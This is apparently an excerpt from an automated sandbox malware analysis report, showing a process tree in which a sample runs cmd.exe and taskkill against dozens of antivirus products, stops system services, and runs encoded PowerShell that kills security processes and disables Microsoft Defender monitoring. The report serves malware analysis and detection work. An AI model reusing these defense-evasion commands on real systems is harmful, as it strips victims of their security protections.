      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5868
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:1176
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:6000
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:2664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:4052
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:2352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
    3⤵
    PID:620
  - - C:\Windows\system32\sc.exe
      sc stop "KSecDD"
      4⤵
      Launches sc.exe
      PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
    3⤵
    PID:4472
  - - C:\Windows\system32\sc.exe
      sc stop "MRxSmb"
      4⤵
      Launches sc.exe
      PID:2816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:6044
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:4788
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:2192
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    PID:3372
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:3336
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:1504
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:2020
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    PID:2140
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:5944
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:1056
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:2196
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:832
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:2748
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:6132
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:5680
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:5704
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:4384
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:2800
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:5164
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:5840
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:260
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:5668
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    PID:2308
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:4304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    PID:4936
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:4460
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:1340
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:5188
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    PID:4960
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      Kills process with taskkill
      PID:888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:4544
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:1076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    PID:1840
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:2324
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:2720
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      Kills process with taskkill
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:2620
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:3776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:4604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3444
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      Kills process with taskkill
      PID:356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:5508
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:3884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    PID:6020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
